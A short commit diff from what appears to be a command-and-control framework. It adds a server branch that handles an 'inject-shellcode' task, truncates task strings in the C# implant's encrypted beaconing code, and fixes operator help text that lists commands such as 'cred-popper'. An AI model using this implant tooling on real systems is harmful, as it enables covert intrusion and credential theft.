Truncate the inject-shellcode command
parent
a58cdd8415
commit
b4f994e300
|
@ -254,6 +254,9 @@ class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||||
elif (decCookie.lower().startswith("$shellcode64")) or (decCookie.lower().startswith("$shellcode64")):
|
elif (decCookie.lower().startswith("$shellcode64")) or (decCookie.lower().startswith("$shellcode64")):
|
||||||
insert_completedtask(RandomURI, decCookie, "Upload shellcode complete", "")
|
insert_completedtask(RandomURI, decCookie, "Upload shellcode complete", "")
|
||||||
print ("Upload shellcode complete")
|
print ("Upload shellcode complete")
|
||||||
|
elif (decCookie.lower().startswith("run-exe core.program core inject-shellcode")):
|
||||||
|
insert_completedtask(RandomURI, decCookie, "Upload shellcode complete", "")
|
||||||
|
print ("Inject shellcode complete")
|
||||||
elif "download-file" in decCookie.lower():
|
elif "download-file" in decCookie.lower():
|
||||||
try:
|
try:
|
||||||
rawoutput = decrypt_bytes_gzip(encKey, (post_data[1500:]))
|
rawoutput = decrypt_bytes_gzip(encKey, (post_data[1500:]))
|
||||||
|
|
|
@ -507,6 +507,9 @@ public class Program
|
||||||
URL = stringnewURLS[rnd.Next(stringnewURLS.Length)];
|
URL = stringnewURLS[rnd.Next(stringnewURLS.Length)];
|
||||||
G = (Guid.NewGuid()).ToString();
|
G = (Guid.NewGuid()).ToString();
|
||||||
URL = baseURL+"/"+URL+G+"/?"+RandomURI;
|
URL = baseURL+"/"+URL+G+"/?"+RandomURI;
|
||||||
|
if (tasksrc.Length > 200) {
|
||||||
|
tasksrc = tasksrc.Substring(0,199);
|
||||||
|
}
|
||||||
string task = Encryption(Key, tasksrc);
|
string task = Encryption(Key, tasksrc);
|
||||||
string coutput = Encryption(Key, output, true);
|
string coutput = Encryption(Key, output, true);
|
||||||
byte[] outputBytes = System.Convert.FromBase64String(coutput);
|
byte[] outputBytes = System.Convert.FromBase64String(coutput);
|
||||||
|
|
4
Help.py
4
Help.py
|
@ -45,8 +45,8 @@ ls c:\\temp\\
|
||||||
ls-recurse c:\\temp\\
|
ls-recurse c:\\temp\\
|
||||||
get-content c:\\temp\\log.txt
|
get-content c:\\temp\\log.txt
|
||||||
pwd
|
pwd
|
||||||
delete c:\\temp\test.exe
|
delete c:\\temp\\test.exe
|
||||||
move c:\\temp\old.exe c:\\temp\new.exe
|
move c:\\temp\\old.exe c:\\temp\\new.exe
|
||||||
cred-popper
|
cred-popper
|
||||||
resolveip 127.0.0.1
|
resolveip 127.0.0.1
|
||||||
resolvednsname google.com
|
resolvednsname google.com
|
||||||
|
|
Loading…
Reference in New Issue